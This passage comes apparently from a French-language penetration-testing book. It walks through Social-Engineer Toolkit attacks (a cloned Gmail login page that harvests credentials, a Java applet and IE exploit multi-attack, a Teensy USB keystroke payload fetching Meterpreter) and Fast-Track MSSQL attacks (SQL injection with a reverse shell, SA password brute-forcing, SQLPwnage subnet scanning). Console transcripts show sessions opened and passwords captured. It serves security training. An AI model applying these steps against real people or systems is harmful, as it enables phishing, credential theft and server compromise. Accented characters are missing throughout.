malveillant clon linsu de la cible. Vous pouvez modifier la dure
dune attaque par web jacking en modifiant les paramtres prsents dans
config/set_config.
Pour configurer le SET pour lattaque, slectionnez Web Jacking Attack
Method et Site Cloner , puis ajoutez le site que vous souhaitez cloner,
https://gmail.com , comme indiqu ci-aprs.
6. Web Jacking Attack Method



2. Site Cloner


Enter the url to clone: https://gmail.com

[*] Cloning the website: https://gmail.com

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a
website.
[*] I have read the above message. [*]

Press {return} to continue.

[*]
Web Jacking Attack Vector is Enabled...Victim needs to click
the link.
Lorsque la cible se rend sur le site clon, elle va voir le lien indiqu la
Figure 10.4. Notez que lURL dans le coin infrieur gauche affiche
https://gmail.com.
Figure 10.4
Page initiale et lien vers la page clone.
Lorsque la cible clique sur le lien, elle se retrouve face la page web
clone que lon voit en Figure 10.5, ce qui ressemble exactement la
vraie page daccueil de Gmail.
Figure 10.5
Page daccueil de Gmail clone.
Notez que le texte de lURL en haut de la Figure 10.5 montre notre
serveur (web) malveillant. Comme dans les exemples prcdents, vous
pouvez enregistrer un nom de domaine similaire afin dviter ce
problme. Une fois que la cible entre son nom dutilisateur et son mot de
passe dans les champs appropris, vous pouvez intercepter et rcolter les
informations didentification.
Tout rassembler dans une attaque sur plusieurs fronts
Le vecteur web multiattaque permet denchaner plusieurs mthodes
dattaque web conjointement lors dune seule attaque. Le vecteur
multiattaque permet dactiver et de dsactiver les diffrents vecteurs et
de combiner les attaques sur une seule page web. Lorsque lutilisateur
clique sur le lien, il sera cibl par chacun des vecteurs dattaque que vous
spcifiez. Une attaque sur plusieurs fronts est particulirement utile car,
dans certains cas, lapplet Java peut chouer tandis quun exploit Internet
Explorer ct client sera un succs. Ou bien, lapplet Java et les exploits
dInternet Explorer peuvent chouer, mais la rcolte dinformations
didentification peut russir.
Dans lexemple suivant, nous allons utiliser lattaque par applet Java,
lexploit ct client de Metasploit et lattaque par web jacking. Lorsque la
cible navigue sur le site concern, elle sera incite cliquer sur le lien et
sera ensuite bombarde par une attaque par web jacking, les exploits
Metasploit et lattaque par applet Java. Ici, nous allons slectionner un
exploit Internet Explorer 7 et surfer la machine de la cible laide
dInternet Explorer 6 juste pour dmontrer comment, si une mthode
choue, dautres peuvent tre utiliss.
1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu


2. Site Cloner


Enter the url to clone: https://gmail.com
Select which attacks you want to use:

1. The Java Applet Attack Method (OFF)
2. The Metasploit Browser Exploit Method (OFF)
3. Credential Harvester Attack Method (OFF)
4. Tabnabbing Attack Method (OFF)
5. Man Left in the Middle Attack Method (OFF)
6. Web Jacking Attack Method (OFF)
7. Use them all - A.K.A. Tactical Nuke
8. Im finished and want to proceed with the attack.
9. Return to main menu.

Enter your choice one at a time (hit 8 or enter to launch): 1

Turning the Java Applet Attack Vector to ON



Turning the Metasploit Client Side Attack Vector to ON

Option added. Press {return} to add or prepare your next attack.



Turning the Web Jacking Attack Vector to ON


. . . SNIP . . .

Enter your choice one at a time (hit 8 or enter to launch):
Commencez configurer lattaque en slectionnant Multi-Attack Web
Method partir du menu principal, puis slectionnez Site Cloner et
entrez lURL cloner, https://gmail.com . Ensuite, le SET prsente un
menu de diffrentes attaques. Slectionnez The Java Applet Attack
Method , puis The Metasploit Browser Exploit Method , et enfin,
slectionnez Web Jacking Attack Method . Vous pourriez galement
slectionner loption 7, Use them all A.K.A. "Tactical Nuke" pour
activer tous les vecteurs dattaque automatiquement.
Dans lexemple prcdent, notez que les flags ont chang et que lapplet
Java, lexploit navigateur de Metasploit et lattaque par web-jacking, ont
t activs. Pour continuer, appuyez sur ENTER ou choisissez loption 8
(Im finished...).

Enter your choice one at a time (hit 8 or enter to launch):

Name: Description:
2.
Windows
Reverse_TCP
Meterpreter sendback to attacker.



best.


[-]
seconds...
[-]
a legit executable.

********************************************************
Do you want to create a Linux/OSX reverse_tcp payload
in the Java Applet attack as well?
********************************************************
Enter choice yes or no: no
Enter the browser exploit you would like to use
8.
Internet Explorer 7 Uninitialized Memory Corruption (MS09-
002)
Enter your choice (1-12) (enter for default): 8
[*] Cloning the website: https://gmail.com
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: x5sKAzS
[*] Malicious java applet website prepped for deployment

[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.

msf exploit(ms09_002_memory_corruption) >
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://172.16.32.129:8080/

[*] Server started.
Pour terminer la configuration de lattaque, slectionnez le payload par
dfaut avec lencodage et le port dcoute par dfaut . Choisissez de
ne pas configurer un payload Linux et OS X , puis mettez comme
exploit navigateur Internet Explorer 7 Uninitialized Memory Corruption
(MS09-002) . Le SET lancera alors lattaque.
Une fois que tout est en marche, vous pouvez naviguer sur le site et voir
ce quil sy passe. Un message vous indique que le site a t dplac.
Rfrez-vous la Figure 10.4 pour dcouvrir ce que la cible verra sur sa
machine.
Cliquez sur le lien et lexploit Metasploit commence. Voici ce qui
seffectue dans lombre :
[*] Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory
Corruption to 172.16.32.131:1329...
Cet exploit choue parce quon utilise Internet Explorer 6. Lcran de la
cible est illustr la Figure 10.6.
Figure 10.6
Avertissement de scurit multiattaque.
Cependant, nous avons une attaque de secours. La cible slectionne run
sur lapplet Java malicieuse, un shell Meterpreter commence et la cible
est redirige vers la page Gmail dorigine. Lattaque est russie.
Notez que durant lexcution de lapplet Java, nous avons
automatiquement migr sur un autre processus qui se trouve tre
notepad.exe. Pour cette raison, si la cible ferme le navigateur, notre
attaque va continuer parce que le processus ne fermera pas le shell
Meterpreter. Encore une chose : dans le fichier de configuration vous
pouvez dfinir loption Java Repeater qui continuera inciter la cible
cliquer sur lavertissement de lapplet Java, mme si elle clique sur
Annuler. Cela augmentera les chances que la cible clique sur le bouton
Excuter.
Le shell Meterpreter nous est prsent une fois lexploit russi, comme
indiqu ci-aprs.
[*]
172.16.32.131:1333) at Thu Sep 09 12:33:20 -0400 2010
[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAutoRunScript migrate -f
[*] Current server process: java.exe (824)
[*] Spawning a notepad.exe host process...
[*] New server process: notepad.exe (3044)
msf exploit(ms09_002_memory_corruption) >
Maintenant, disons que cette attaque choue, et que la cible clique sur
Annuler (sans loption repeater active). La personne serait alors invite
entrer son nom dutilisateur et son mot de passe dans les champs prvus
cet effet, vous permettant de rcolter avec succs ses informations
didentification sur le site et de prserver le succs de lattaque. Alors
que vous navez pas de shell Meterpreter, parce que la cible na pas
cliqu sur Excuter, vous serez encore capable dintercepter les
informations didentification :
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: Email=thisismyusername
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisismypassword
[*]
WHEN YOURE FINISHED, HIT CONTROL-C TO GENERATE
A REPORT.
Comme vous lavez vu dans les exemples prcdents, SET propose dans
son arsenal un certain nombre de puissants vecteurs dattaque bass sur
le web. Il peut tre difficile de convaincre une cible de penser quun site
clon est lgitime. La plupart des utilisateurs bien informs sont
gnralement prudents sur des sites inconnus et essayent dviter les
problmes de scurit potentiels lorsquils naviguent sur Internet. Le SET
cherche tirer parti de cette prudence en vous permettant de simuler un
site connu, trompant alors mme les utilisateurs les plus aviss.
Le gnrateur de mdias infects est un vecteur dattaque relativement
simple. Avec lui, le SET cre un dossier que vous pouvez graver sur un
CD / DVD ou stocker sur une cl USB. Le fichier autorun.inf est utilis,
lequel, une fois insr dans la machine de la cible, va excuter tout ce
que vous spcifiez lors de lattaque. Actuellement, le SET supporte les
excutables (tel que Meterpreter) ainsi que les fichiers exploitant des
failles de type failles de format (comme les exploits Adobe).
Le vecteur dattaque Teensy USB HID (Human Interface Device) est
une remarquable combinaison de matriel customis et de contournement
des restrictions sur mesure via lmulation du clavier. Traditionnellement,
lorsque vous insrez un CD / DVD ou une cl USB dans votre ordinateur,
si lexcution automatique est dsactive, autorun.inf nest pas appel et
vous ne pouvez pas excuter votre code automatiquement. Cependant, en
utilisant le Teensy USB HID, vous pouvez muler un clavier et une
souris. Lorsque vous insrez le priphrique, il sera dtect comme un
clavier, et en utilisant le microprocesseur et la mmoire flash de stockage
embarque, vous pouvez envoyer une srie de frappes trs rapide la
machine de la cible et compltement la compromettre, sans vous
proccuper dautorun. Vous pouvez commander un Teensy USB HID
http://www.prjc.com/.
Mettons en place un Teensy USB HID pour effectuer un tlchargement
WScript dun payload Metasploit. Dans lexemple suivant, un petit fichier
WScript sera crit qui permettra de tlcharger et dexcuter un fichier
excutable. Ce sera notre payload Metasploit, et tout cela est gr par le
SET.

6. Teensy USB HID Attack Vector


Welcome to the Teensy HID Attack Vector.

Special thanks to: IronGeek and WinFang

1. Powershell HTTP GET MSF Payload
2. WSCRIPT HTTP GET MSF Payload
3. Powershell based Reverse Shell
4. Return to the main menu.

Do you want to create a payload and listener yes or no: yes

Name: Description:

. . . SNIP . . .
2.
Windows
Reverse_TCP
Meterpreter



best.

. . . SNIP . . .



[-]
seconds...
[-]
a legit executable

[*] PDE file created. You can get it under reports/teensy.pde
[*]
Be sure to select "Tools", "Board", and "Teensy 2.0
(USB/KEYBOARD)" in Arduino
Press enter to continue.

Pour commencer la mise en place de cette attaque, choisissez Teensy
USB HID Attack Vector partir du menu principal, puis choisissez
WSCRIPT HTTP GET MSF Payload . Ensuite, demandez au SET de
mettre en place un payload et un listener , en slectionnant le payload
Meterpreter et la mthode dencodage par dfaut .
Maintenant que vous avez un fichier .pdf, vous aurez besoin de
tlcharger et dutiliser linterface Arduino, qui est une interface
utilisateur graphique (GUI) pour la compilation des fichiers .pde qui
doivent tre uploads sur votre priphrique Teensy.
Pour cette attaque, suivez les instructions sur PJRC (http://www.pjrc.com/)
pour uploader votre code sur la carte Teensy. Cest relativement simple.
Vous installez le loader et les bibliothques de Teensy. Ensuite, vous
verrez une interface IDE (Integrated Drive Electronics) dnomme
Arduino. (Arduino/Teensy est support par Linux, Mac OS X et les
systmes dexploitation Windows). Lun des points importants est de vous
assurer davoir configur votre carte pour un clavier/souris USB Teensy
(voir Figure 10.7).
Figure 10.7
Mise en place du dispositif Teensy.
Ensuite, faites glisser votre fichier .pde dans linterface Arduino. Insrez
votre cl USB dans lordinateur et uploadez votre code (voir
Figure 10.8). Cela programmera votre priphrique avec le code gnr
par le SET.
Une fois le priphrique USB programm et insr dans la machine de la
cible et le code excut, vous devriez voir un shell Meterpreter :
[*]
172.16.32.131:1333) at Thu June 09 12:52:32 -0400 2010
[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAutoRunScript migrate -f
[*] Current server process: java.exe (824)
Figure 10.8
Upload du code de lattaque Teensy.
Nous ne couvrirons pas tous les aspects du SET, mais certains sont
particulirement remarquables. Un outil notable est le shell interactif du
SET : un shell interactif qui peut tre choisi comme un payload au lieu de
Meterpreter. Une autre caractristique est le RATTE (Remote
Administration Tool Tommy Edition), un payload entirement tunnelis en
HTTP qui a t cr par Thomas Werth. Il sappuie sur les
communications HTTP et les paramtres de proxies implments sur la
machine cible. RATTE est particulirement intressant lorsque la cible
utilise des rgles dinspection et de filtrage de paquets qui peuvent
dtecter les non-trafics HTTP. RATTE utilise lalgorithme de chiffrement
Blowfish pour les communications pour permettre un chiffrement complet
du HTTP.
Deux autres outils comprennent la web-GUI du SET (une application
web part entire qui automatise plusieurs des attaques voques
antrieurement) et le vecteur dattaque wireless. Pour excuter la web-
GUI du SET, il suffit dentrer ./set-web partir du dossier home du SET.
La web-GUI est dveloppe en Python, cest une excellente mthode
pour effectuer des attaques via une interface web. Le vecteur dattaque
wireless cre un point daccs non autoris sur la machine attaquante.
Lorsque la cible se connecte au point daccs, tout site web visit est
redirig vers la machine de lattaquant, qui peut ensuite lancer un certain
nombre dattaques du SET (comme une applet Java) sur la cible.
Aller plus loin
Comme Metasploit, le SET est en dveloppement permanent. La
communaut de la scurit a adopt les capacits et le potentiel du SET et
contribue lamliorer. Les attaques par social engineering sont en
hausse, ainsi est-il impratif que vous vous assuriez de tester
correctement ces vecteurs dattaque dans tout programme de scurit
digne de ce nom.
Alors que les organisations et les fournisseurs russissent de mieux en
mieux scuriser leur rseau avec des solutions logicielles et matrielles,
nous oublions souvent quel point il est facile dappeler ou denvoyer un
e-mail un utilisateur et de le convaincre de cliquer ou de tlcharger
quelque chose qui peut tre utilis pour une attaque. Lingnierie sociale
en gnral requiert des comptences et de la pratique : un bon attaquant
sait quil doit veiller ce que lattaque soit spcialement conue pour
cibler les lacunes des programmes de sensibilisation utilisateurs ou des
systmes des entreprises cibles et les utilisateurs ou systmes sensibiliss
au social engineering. Un attaquant talentueux sait que passer quelques
jours faire des recherches sur la socit cible sur Facebook ou Twitter
afin de dterminer ce qui peut inciter quelquun cliquer avec hte est
tout aussi important que les outils utiliss pour lattaque.
Des outils tels que le SET sont utiles aux attaquants, mais il faut toujours
se rappeler quen tant que pentester, votre comptence est dfinie par
votre crativit et votre capacit vous orienter dans les situations
difficiles. Le SET vous aidera attaquer vos cibles mais, en fin de
compte, si vous chouez, cest probablement parce que vous naurez pas
eu suffisamment dimagination.
11
FAST-TRACK
Sommaire
Microsoft SQL Injection
Le gnrateur de binaire-hexadcimal
Attaque massive ct client
Quelques mots propos de lautomatisation
Fast-Track est un outil open source bas sur Python permettant
daccrotre le potentiel des techniques avances de pentest. Il utilise le
framework Metasploit pour la livraison de payload et les vecteurs
dattaque ct client. Il complte Metasploit en ajoutant des
fonctionnalits supplmentaires, y compris les attaques Microsoft SQL,
dautres exploits et les vecteurs dattaque par navigateur. Fast-Track a
t cr par Dave Kennedy avec la contribution de Andrew
Weidenhamer, John Melvin et Scott White. Il est actuellement mis jour
et maintenu par Joey Furr (j0fer).
On utilise Fast-Track via le mode interactif. Pour entrer en mode
interactif, comme indiqu ci-aprs, utilisez ./Fast-track.py -i (qui est
analogue la commande utilise par le SET). Par la slection doptions et
de squences diffrentes, vous pouvez personnaliser votre attaque, vos
cibles et plus encore (vous pouvez galement utiliser ./Fast-track.py -g
pour charger linterface web).
root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -i
***********************************************
******* Performing dependency checks... *******
***********************************************

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***
*** PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from the
Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!

Fast-Track Main Menu:

Fast-Track - Where its OK to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (ReL1K)

1. Fast-Track Updates
2. Autopwn Automation
3. Microsoft SQL Tools
4. Mass Client-Side Attack
5. Exploits
6. Binary to Hex Payload Converter
7. Payload Generator
8. Fast-Track Tutorials
9. Fast-Track Changelog
10. Fast-Track Credits
11. Exit

Enter the number:
Vous pouvez voir les catgories dattaques et les fonctionnalits
gnrales dans le menu principal de Fast-Track ci-dessus. Cependant,
nous nen traiterons que quelques unes, slectionnes dans ce chapitre.
Nous allons explorer les plus utiles en mettant laccent sur lexploitation
de Microsoft SQL Server. Par exemple, le menu Autopwn Automation
simplifie lutilisation de la fonctionnalit autopwn de Metasploit ; il suffit
dentrer ladresse IP et Fast-Track se charge de tout mettre en place pour
vous. Le menu Exploits contient des exploits supplmentaires ne figurant
pas dans Metasploit.
Linjection SQL (SQLi) embarque des commandes SQL afin de pntrer
des applications web en exploitant du code non scuris. Une requte
SQL peut tre insre dans la base de donnes en backend par
lintermdiaire dun serveur web de confiance excutant des commandes
sur la base de donnes. Fast-Track permet dautomatiser le processus
dexcution avanc dattaques par injection SQL en se concentrant sur
les chanes de requtes et les paramtres POST dans les applications web.
Lattaque qui suit repose sur lattaquant, lequel doit savoir que linjection
SQL est prsente sur le site cible et aussi quel paramtre est vulnrable.
Cette attaque ne fonctionne que sur les systmes bass sur MS SQL.
SQL Injector Attaque dune Query String
Commencez la configuration de lattaque en slectionnant Microsoft SQL
Tools partir du menu principal, puis MSSQL Injector , comme indiqu
ci-aprs.
Pick a list of the tools from below:

1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 1
La forme la plus simple dinjection SQL se situe lintrieur de la chane
de requte, gnralement envoye dans le champ URL du navigateur au
serveur. Cette chane (lURL) contient souvent des paramtres qui
informent un site dynamique sur la nature de linformation demande.
Fast-Track distingue quel champ doit tre attaqu par linsertion dun
INJECTHERE dans la chane de requte vulnrable, comme ceci :
http://www.secmaniac.com/index.asp?id=INJECTHERE&date=2011
Lorsque Fast-Track commence exploiter cette vulnrabilit, il va
chercher la chane id dans tous les champs afin de dterminer quel
champ attaquer. Observons cela dans un cas pratique en slectionnant la
premire option, Query String Parameter Attack.
Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack


. . . SNIP . . .

Enter the URL of the susceptible site, remember to put
INJECTHERE for the injectable parameter

Example: http://www.thisisafakesite.com/blah.aspx?
id=INJECTHERE&password=blah

Enter here: http://www.secmaniac.com/index.asp?

id=INJECTHERE&date=2011
Sending initial request to enable xp_cmdshell if disabled...
Sending first portion of payload (1/4)...
Sending second portion of payload (2/4)...
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...Sending initial request to enable
xp_cmdshell if disabled...
Sending first portion of payload (1/4)...
Sending second portion of payload (2/4)...
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...
listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128]
1041
Microsoft Windows [Version 5.2.3790]

Nous avons russi ! Nous avons un accs complet au systme, tout ceci
au travers de linjection SQL.
Notez que cette attaque ne russira pas si des requtes SQL paramtres
ou des procdures stockes sont utilises. Notez aussi que la
configuration requise pour cette attaque est trs minime. Aprs avoir
slectionn SQL Injector - Query String Parameter Attack partir du
menu dattaques, vous devez simplement diriger Fast-Track lendroit o
se situe linjection SQL . Si la procdure stocke xp_cmdshell est
dsactive, Fast-Track va automatiquement la ractiver et tentera une
escalade de privilges de MS SQL.
SQL Injector Attaque par le paramtre POST
Lattaque par paramtre POST de Fast-Track ncessite une configuration
encore plus simple que lattaque par paramtre de la chane de requte
prcdente. Pour cette attaque, il suffit de donner Fast-Track lURL du
site web que vous voulez attaquer et celui-ci va automatiquement
dtecter la forme dattaque utiliser.



This portion allows you to attack all forms on a specific website without
having to specify each parameter. Just type the URL in, and Fast-Track
will auto SQL inject to each parameter looking for both error based
injection as well as blind based SQL injection. Simply type the website
you want to attack, and let it roll.

Example: http://www.sqlinjectablesite.com/index.aspx

Enter the URL to attack: http://www.secmaniac.com

Forms detected...attacking the parameters in hopes of exploiting SQL
Injection..

Sending payload to parameter: txtLogin

Sending payload to parameter: txtPassword

[-
]
The PAYLOAD is being delivered. This can take up to two minutes.
[-]

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041

Comme vous pouvez le voir, Fast-Track a gr la dtection automatique
des paramtres POST et inject lattaque, compromettant entirement le
systme affect par injection SQL.
Note
Vous pouvez galement utiliser le protocole FTP pour dlivrer votre
payload bien quil soit gnralement bloqu sur les connexions sortantes.
Injection manuelle
Si vous avez une adresse IP en coute diffrente pour grer la connexion
de votre reverse shell ou si vous avez besoin dajuster certains
paramtres de configuration, vous pouvez configurer linjector
manuellement.



The manual portion allows you to customize your attack for
whatever reason.

You will need to designate where in the URL the SQL Injection is by
using
INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL,
type:

http://www.thisisafakesite.com/blah.aspx?

Enter the URL of the susceptible site, remember to put
INJECTHERE for the injectible parameter

Example: http://www.thisisafakesite.com/blah.aspx?

Enter here: http://www.secmaniac.com/index.asp?

id=INJECTHERE&date=2010
Enter the IP Address of server with NetCat Listening: 10.211.55.130
Enter Port number with NetCat listening: 9090
Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload....
Sending second portion of payload....
Sending next portion of payload...
Sending the last portion of the payload...
Running cleanup...
Running the payload on the server...

10.211.55.128: inverse host lookup failed: Unknown server error :
Connection timed out

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128]
1045

Choisissez dabord loption manuelle en . Puis, comme pour les
paramtres de lattaque sur les chanes de requtes, reliez Fast-Track au
paramtre vulnrable linjection SQL et fournissez votre adresse IP
en coute en avec le port sur lequel vous souhaitez que votre cible se
connecte . Fast-Track soccupe du reste.
MSSQL Bruter
Le MSSQL Bruter est probablement lun des meilleurs aspects de Fast-
Track (disponible partir du menu Microsoft SQL Attack Tools).
Lorsque MS SQL Server est install, MSSQL Bruter peut utiliser
lauthentification Windows intgre, lauthentification SQL ou
lauthentification en mode mixte.
Lauthentification en mode mixte permet aux utilisateurs dtre vrifis
partir de lauthentification Windows, ainsi que directement partir du
serveur MS SQL. Si lauthentification en mode mixte ou SQL est utilise
lors de linstallation de MS SQL, ladministrateur installant le logiciel
devra spcifier un compte SA (System Administrator) pour MS SQL.
Souvent, les administrateurs choisissent un mot de passe faible, vide ou
facile deviner, ce qui peut tre mis profit par un attaquant. Si le
compte de ladministrateur peut tre bruteforc, cela conduira une
compromission de lensemble du systme via la procdure stocke et
tendue xp_cmdshell.
Fast-Track utilise quelques mthodes de dcouverte lors de la recherche
de serveurs MS SQL, y compris en utilisant nmap pour effectuer des
scans du port TCP 1433, le port par dfaut de MS SQL. Si la machine
cible utilise MS SQL Server 2005 ou plus rcent, des plages de ports
dynamiques peuvent tre utilises, les rendant plus difficiles numrer,
mais Fast-Track fait directement lintermdiaire avec Metasploit et peut
interroger le port UDP 1434 afin de rvler sur quel port dynamique le
serveur MS SQL est en cours dexcution.
Une fois que Fast-Track a identifi un serveur et a russi bruteforcer le
compte SA, il utilise des mthodes avances de conversion binaire-
hexadcimal pour dlivrer un payload. Cette attaque est gnralement
couronne de succs, notamment dans les grands environnements o MS
SQL est largement utilis.
Voici lattaque initiale :

Microsoft SQL Attack Tools

Pick a list of the tools from below:

1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 2

Enter the IP Address and Port Number to Attack.

Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SQL Ports (SQL Ping)

(i)want a command prompt and know which system is
vulnerable

(v)ulnerable system, I want to add a local admin on the
box...
(e)nable xp_cmdshell if its disabled (sql2k and sql2k5)
Aprs que nous avons slectionn loption MSSQL Bruter, Fast-Track
nous prsente une liste des diffrentes attaques qui peuvent tre menes.
Chacune delles ne fonctionnera pas dans chaque situation ou mme ne
servira pas le mme but ; il est donc important que vous compreniez ce
qui se passe pour chaque option.
Fast Track dispose de plusieurs options :
Les tentatives SQL Ping et Auto Quick Brute Force balayent
une plage dadresses IP en utilisant la mme syntaxe que
nmap et un dictionnaire intgr prdfini denviron 50 mots
de passe.
Les scans de masse et les attaques par dictionnaire analysent
une plage dadresses IP et permettent de spcifier votre
propre dictionnaire. Fast-Track est livr avec un bon
dictionnairesitu bin/dict/wordlist.txt.
Single Target vous permet de bruteforcer une adresse IP
spcifique avec un bon dictionnaire.
Find SQL ports (SQL Ping) effectue seulement une
recherche de serveurs SQL mais ne les attaque pas.
I want a command prompt... lance une invite de commande si
vous connaissez dj le mot de passe admin.
Vulnerable system... ajoute un nouvel utilisateur admin sur un
systme que vous savez tre vulnrable.
Enable xp_cmdshell... est une procdure stocke que Fast-
Track utilise pour excuter des commandes systme sous-
jacentes. Par dfaut, elle est dsactive dans les versions de
SQL Server 2005 et plus rcentes, mais Fast-Track peut
automatiquement la ractiver. Lorsque vous attaquez un
systme distant avec nimporte quelle option, Fast-Track
tentera automatiquement de ractiver xp_cmdshell, juste au
cas o.
Vous pouvez utiliser et personnaliser plusieurs options pour atteindre
votre cible, la plus simple demeurant lattaque par bruteforce, qui passe
souvent inaperue. Nous allons slectionner loption bruteforce rapide en
utilisant un sous-ensemble de mots de passe prdfinis et tenter de
deviner le mot de passe sur le serveur MS SQL.
Enter the IP Address and Port Number to Attack.

Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SQL Ports (SQL Ping)

(i)want a command prompt and know which system is
vulnerable

(v)ulnerable system, I want to add a local admin on the
box...
(e)nable xp_cmdshell if its disabled (sql2k and sql2k5)

Enter Option: a
Enter username for SQL database (example:sa): sa
Configuration file not detected, running default path.
Recommend running setup.py install to configure Fast-Track.
Setting default directory...
Enter the IP Range to scan for SQL Scan (example 192.168.1.1-

255):
10.211.55.1/24

Do you want to perform advanced SQL server identification on non-
standard SQL ports? This will use UDP footprinting in order to
determine where the SQL servers are at. This could take quite a long
time.

Do you want to perform advanced identification, yes or no: yes

[-] Launching SQL Ping, this may take a while to footprint.... [-]

Brute forcing username: sa

Be patient this could take awhile...

Brute forcing password of password2 on IP 10.211.55.128:1433
Brute forcing password of on IP 10.211.55.128:1433
Brute forcing password of password on IP 10.211.55.128:1433

SQL Server Compromised: "sa" with password of: "password" on IP
10.211.55.128:1433

Brute forcing password of sqlserver on IP 10.211.55.128:1433
Brute forcing password of sql on IP 10.211.55.128:1433

Brute forcing password of complexpassword on IP
10.211.55.128:1433
Brute forcing password of database on IP 10.211.55.128:1433
Brute forcing password of server on IP 10.211.55.128:1433
Brute forcing password of changeme on IP 10.211.55.128:1433
Brute forcing password of change on IP 10.211.55.128:1433
Brute forcing password of sqlserver2000 on IP 10.211.55.128:1433

Brute forcing password of sqlserver2005 on IP 10.211.55.128:1433
Brute forcing password of Sqlserver on IP 10.211.55.128:1433
Brute forcing password of SqlServer on IP 10.211.55.128:1433
Brute forcing password of Password1 on IP 10.211.55.128:1433

. . . SNIP . . .

*******************************************
The following SQL Servers were compromised:
*******************************************

1. 10.211.55.128:1433 *** U/N: sa P/W: password ***

*******************************************

To interact with system, enter the SQL Server number.

Example: 1. 192.168.1.32 you would type 1

Enter the number:
Aprs avoir slectionn Attempt SQL Ping and Auto Quick Brute Force
en , vous serez invit entrer un nom dutilisateur de base de donnes
SQL , suivi par la plage dadresses IP que vous souhaitez scanner en .
Rpondez yes quand il vous est demand si vous souhaitez effectuer
lidentification serveur avance . Bien que ce soit lent, cela peut tre
trs efficace.
La sortie ci-dessus montre que Fast-Track a russi bruteforcer un
systme avec le nom dutilisateur sa et le mot de passe password. ce
stade, vous pouvez slectionner le payload et compromettre le systme.
Enter number here: 1

Enabling: XP_Cmdshell...
Finished trying to re-enable xp_cmdshell stored procedure if disabled.

Configuration file not detected, running default path.
Recommend running setup.py install to configure Fast-Track.
Setting default directory...
What port do you want the payload to connect to you on: 4444
Metasploit Reverse Meterpreter Upload Detected..
Launching Meterpreter Handler.
Creating Metasploit Reverse Meterpreter Payload..
Sending payload: c88f3f9ac4bbe0e66da147e0f96efd48dad6
Sending payload: ac8cbc47714aaeed2672d69e251cee3dfbad
Metasploit payload delivered..
Converting our payload to binary, this may take a few...
Cleaning up...
Launching payload, this could take up to a minute...
When finished, close the metasploit handler window to return to other
compromised SQL Servers.
[*] Handler binding to LHOST 0.0.0.0
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*]
10.211.55.128:1030)

meterpreter >
Vous devriez maintenant avoir un accs complet la machine utilisant le
payload Meterpreter.
SQLPwnage
SQLPwnage est une attaque par bruteforce massive qui peut tre utilise
contre les applications web pour tenter de trouver une injection Microsoft
SQL. SQLPwnage va scanner les sous-rseaux des serveurs web sur le
port 80, crawler les sites web et tentera de fuzzer des paramtres POST
jusqu ce quil trouve une injection SQL. Il prend en charge la fois les
injections SQL de type error et blind et se chargera de tout, de lescalade
de privilges la ractivation de la procdure stocke xp_cmdshell, en
contournant la restriction de debug 64KB de Windows, et dposera le
payload de votre choix o vous voudrez sur le systme.
Commencez la configuration de cette attaque en slectionnant Microsoft
SQL Tools dans le menu principal de Fast-Track, suivi par SQLPwnage,
loption 2, comme indiqu ci-aprs.
SQLPwnage Main Menu:

1. SQL Injection Search/Exploit by Binary Payload Injection (BLIND)
2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED)
3. SQL Injection single URL exploitation


. . . SNIP . . .

Scan a subnet or spider single URL?

1. url
2. subnet (new)
3. subnet (lists last scan)

Enter the Number: 2

Enter the ip range, example 192.168.1.1-254: 10.211.55.1-254
Scanning Complete!!! Select a website to spider or spider all??

1. Single Website
2. All Websites

Enter the Number: 2

Attempting to Spider: http://10.211.55.128
Crawling http://10.211.55.128 (Max Depth: 100000)
DONE
Found 0 links, following 0 urls in 0+0:0:0
Spidering is complete.

**********************************************************************
http://10.211.55.128
**********************************************************************

[+] Number of forms detected: 2 [+]

A SQL Exception has been encountered in the "txtLogin" input field of the above
website.
En fonction de lerreur retourne par le site lorsque vous faites une
tentative dinjection SQL, vous aurez besoin de choisir entre les attaques
de type BLIND ou ERROR BASED. En , nous choisissons ERROR
BASED parce que le site est assez aimable pour rendre compte des
messages derreur quand il a du mal excuter une requte SQL.
Ensuite, choisissez de scanner une URL unique ou un sous-rseau
complet . Aprs le scan du sous-rseau, nous avons choisi dattaquer
tous les sites que Fast-Track a trouvs . Comme vous pouvez le voir, le
scan a trouv un formulaire vulnrable sur un seul site.
